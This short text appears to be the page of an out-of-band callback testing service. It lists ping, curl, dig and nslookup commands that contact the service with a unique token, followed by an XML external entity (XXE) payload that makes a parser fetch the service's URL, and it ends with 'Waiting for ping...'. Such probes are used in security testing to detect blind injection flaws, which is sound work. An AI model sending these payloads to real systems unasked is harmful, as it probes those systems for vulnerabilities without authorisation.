$ ping -c1 -p 007a0f0363d2cfd716e08bef4d13cd00 pingb.in
 
$ curl pingb.in/p/7a0f0363d2cfd716e08bef4d13cd
 
$ dig 7a0f0363d2cfd716e08bef4d13cd @pingb.in
 
$ dig 7a0f0363d2cfd716e08bef4d13cd.ns.pingb.in
 
C:\> nslookup 7a0f0363d2cfd716e08bef4d13cd pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/7a0f0363d2cfd716e08bef4d13cd">]>
    <foo>&xxe;</foo>
 
Waiting for ping...